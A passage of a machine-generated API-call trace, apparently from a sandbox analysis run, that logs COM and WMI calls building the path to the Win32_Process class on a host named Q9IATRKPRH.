This=0x1bea1430, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bea1430) returned 0x0 [0060.221] WbemDefPath:IUnknown:AddRef (This=0x1bea1430) returned 0x3 [0060.221] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x2 [0060.221] WbemDefPath:IWbemPath:SetText (This=0x1bea1430, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0060.221] IWbemClassObject:Get (in: This=0x1bebb090, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0060.221] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0060.221] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0060.221] IWbemClassObject:Get (in: This=0x1bebb090, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0060.221] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0060.222] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0060.222] IWbemClassObject:Get (in: This=0x1bebb090, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0060.222] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0060.222] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0060.222] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0060.222] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0060.222] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0060.222] IUnknown:Release (This=0x111f638) returned 0x1 [0060.224] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1becff70) returned 0x0 [0060.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becff70, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0060.225] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becff70, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea14f0) returned 0x0 [0060.225] WbemDefPath:IUnknown:Release (This=0x1becff70) returned 0x0 [0060.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea14f0) returned 0x0 [0060.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0060.225] WbemDefPath:IUnknown:AddRef (This=0x1bea14f0) returned 0x3 [0060.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0060.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0060.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1becffb0) returned 0x0 [0060.225] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becffb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.225] WbemDefPath:IUnknown:Release (This=0x1becffb0) returned 0x3 [0060.225] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0060.226] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0060.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0060.226] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x2 [0060.226] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x1 [0060.226] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0060.226] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0060.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea14f0) returned 0x0 [0060.226] WbemDefPath:IUnknown:AddRef (This=0x1bea14f0) returned 0x3 [0060.226] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x2 [0060.226] WbemDefPath:IWbemPath:SetText (This=0x1bea14f0, uMode=0x4, pszPath="") returned 0x0 [0060.226] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0060.226] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0060.226] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0060.226] IUnknown:Release (This=0x111f638) returned 0x1 [0060.228] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1becff70) returned 0x0 [0060.228] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becff70, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0060.228] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becff70, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea15b0) returned 0x0 [0060.228] WbemDefPath:IUnknown:Release (This=0x1becff70) returned 0x0 [0060.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea15b0) returned 0x0 [0060.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0060.229] WbemDefPath:IUnknown:AddRef (This=0x1bea15b0) returned 0x3 [0060.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0060.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0060.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1becfff0) returned 0x0 [0060.229] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becfff0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.229] WbemDefPath:IUnknown:Release (This=0x1becfff0) returned 0x3 [0060.229] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0060.229] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0060.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0060.230] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x2 [0060.230] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x1 [0060.230] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0060.230] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0060.230] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea15b0) returned 0x0 [0060.230] WbemDefPath:IUnknown:AddRef (This=0x1bea15b0) returned 0x3 [0060.230] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x2 [0060.230] WbemDefPath:IWbemPath:SetText (This=0x1bea15b0, uMode=0x4, pszPath="") returned 0x0 [0060.230] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea15b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0060.230] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea14f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0060.230] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea15b0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0060.230] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea15b0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0060.230] WbemDefPath:IWbemPath:SetServer (This=0x1bea15b0, Name="Q9IATRKPRH") returned 0x0 [0060.230] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0060.230] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0060.230] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0060.230] IUnknown:Release (This=0x111f638) returned 0x1 [0060.233] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bed0010) returned 0x0 [0060.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bed0010, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0060.233] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bed0010, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1670) returned 0x0 [0060.233] WbemDefPath:IUnknown:Release (This=0x1bed0010) returned 0x0 [0060.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1670) returned 0x0 [0060.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0060.234] WbemDefPath:IUnknown:AddRef (This=0x1bea1670) returned 0x3 [0060.234] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0060.234] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0060.234] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bed0050) returned 0x0 [0060.234] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bed0050, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.234] WbemDefPath:IUnknown:Release (This=0x1bed0050) returned 0x3 [0060.234] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0060.234] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0060.234] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0060.234] WbemDefPath:IUnknown:Release (This=0x1bea1670) returned 0x2 [0060.234] WbemDefPath:IUnknown:Release (This=0x1bea1670) returned 0x1 [0060.234] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0060.234] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0060.234] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1670) returned 0x0 [0060.235] WbemDefPath:IUnknown:AddRef (This=0x1bea1670) returned 0x3 [0060.235] WbemDefPath:IUnknown:Release (This=0x1bea1670) returned 0x2 [0060.235] WbemDefPath:IWbemPath:SetText (This=0x1bea1670, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea15b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1670, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0060.235] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea15b0) returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1670, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1670, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1670, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0060.235] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea15b0, uIndex=0x0, pszName="ROOT") returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1670, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1670, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0060.235] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea15b0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea15b0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0060.235] WbemDefPath:IWbemPath:SetClassName (This=0x1bea15b0, Name="Win32_Process") returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea15b0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea15b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0060.235] WbemDefPath:IWbemPath:GetText (in: This=0x1bea15b0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0060.236] WbemDefPath:IWbemPath:GetText (in: This=0x1bea15b0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0060.236] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea15b0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0060.236] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea15b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0060.236] WbemDefPath:IWbemPath:GetText (in: This=0x1bea15b0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0060.236] WbemDefPath:IWbemPath:GetText (in: This=0x1bea15b0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0060.236] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1370, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0060.236] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0060.236] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0060.236] WbemDefPath:IWbemPath:GetText 